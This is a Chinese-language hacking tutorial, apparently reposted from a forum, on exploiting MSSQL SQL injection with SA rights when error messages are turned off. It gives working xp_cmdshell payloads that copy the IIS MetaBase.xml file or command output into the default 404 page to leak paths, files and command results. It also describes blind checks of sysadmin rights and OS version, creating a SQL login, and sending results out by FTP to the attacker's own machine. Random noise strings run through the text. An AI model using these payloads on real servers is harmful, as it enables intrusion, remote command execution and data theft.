遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
9 z- V7 S2 Y5 V9 Q: [8 t7 r; S* E/ t% B4 W" q; Y
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。; c0 p, v+ {, ^8 I
% { B4 P! n7 e, Z7 Z
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。' ~5 O5 V, d6 r/ B9 O# j/ u( T* J- p
6 i" H' S9 G; M J# s IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
/ R, A7 G$ ]3 t. G
/ |/ L5 q3 P& ? 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--4 t5 D. W4 Z7 z& ^
* C% ^0 a: a4 }; w4 a1 n H
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。) R4 [7 a5 G. w; l
; m0 A0 y, u- y" J 执行命令得到回显
: K5 `+ v; p* U
4 e/ o {2 s( ]( H 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
; ?4 F! ^+ Q$ ]# _: w9 u6 x: u' i: u/ c; J1 C, }! e1 X
得到文件也shi相同,把文件copy到404b.htm就行了+ D( f4 o1 w/ u3 G
/ t0 ~+ t r2 W$ x) O& C by 28ice, 2008/6/26
$ m' B8 ~8 B' ? o' W8 \" R S3 \/ y) E' z1 v! \
摘自 28度的冰1 G; t( Y! C* z! o
% P3 V) s1 j- g% L& f
盲注判断权限和操作系统版本& v" x8 Q4 u% @' |# W, K
+ q* R4 X9 L1 s4 `( M4 X( A
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?6 T; L. x, l, i ]9 O! A* a0 @' Y
& G* Q6 q* z/ @3 M8 M 最简单的,可能以用这样的方法:
5 f# J4 p- J: w9 r& l% }( E- u% Q: F2 X9 W
1=(select IS_SRVROLEMEMBER(’sysadmin’))
$ q1 p! g8 y4 s* p. F
& O7 Y; Y/ }+ o ~2 T. s2 N 当然,有些情况下,这个方法并不奏效。
! V/ z ` i! v/ K+ t; x' k; M% [1 a c% i; C) T! H* w, v5 N
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
- k2 t8 e7 ^- r) m" }' l7 s- m
$ J! _0 A3 q& ~( E" ], c 有个3办法可能以解决这个问题
6 u8 V; A, P3 `) f) d
, ~& G) t# D$ d: g& h1 F3 n a.把执行结果写到404b.htm,具体请看我的上一篇文章0 L+ k2 ]- C% U9 v# a3 @2 K
! R M- n& @3 R0 |6 v, ?! o( A b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟$ [% A3 m: s) O# J9 ]
: p$ H2 R# T4 @
c.如果1433端口可能以连接,那干脆新建个sql登录
3 a- r9 `( q; I m( m) c* u: j& [* N/ U# K/ z* C2 Z
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
b Q, @9 p. ?" Z( [1 t
. \3 N* h7 @6 k6 |% d8 @; |% t0 R 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下; U5 x f4 j% M$ n, ?5 |! i4 A, N
! D5 Q6 t6 b; ~ b* F2 q0 \, w( M 很简单( R0 N" b8 ?/ i3 D9 O
0 y$ O' y J6 X3 }9 b! S1 W4 {
执行systeminfo
& l- U- u* o2 U' n! ^
9 }! [* e' [; ~. a5 F* G" S, x 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |